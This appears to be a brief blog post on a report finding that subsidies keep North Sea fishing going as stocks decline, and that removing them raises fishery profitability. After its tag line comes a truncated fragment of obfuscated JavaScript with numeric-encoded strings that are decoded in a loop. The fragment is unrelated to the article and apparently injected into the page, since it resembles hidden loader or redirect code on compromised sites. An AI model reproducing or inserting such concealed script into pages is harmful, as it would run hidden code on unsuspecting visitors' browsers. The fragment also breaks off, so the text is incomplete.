Fishing: Less for More

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Paying fishermen to fish doesn't pay. That's the conclusion of a report just out which looks at how profitable European fisheries would have been over the last 20-odd years without subsidies, and compares those numbers against what actually happened. (The report is available here) Although the North Sea is the focus, the conclusions may well be applicable everywhere. Subsidising fishermen means they continue fishing even after stocks begin to plummet, because a substantial share of their income is now coming from the subsidy rather than from profits on fishing. Fisheries become more profitable when subsidies are removed. Despite increasing profitability when subsidies are removed, total revenue to the fishery decrease since they are no longer receiving financial transfers from the government.

TAGS: fisheries, sustainable, fisheries subsidies, negative effects

var a=0,m,v,t,z,x=new Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656 380','7684','61818075'),l=x.length;while(++a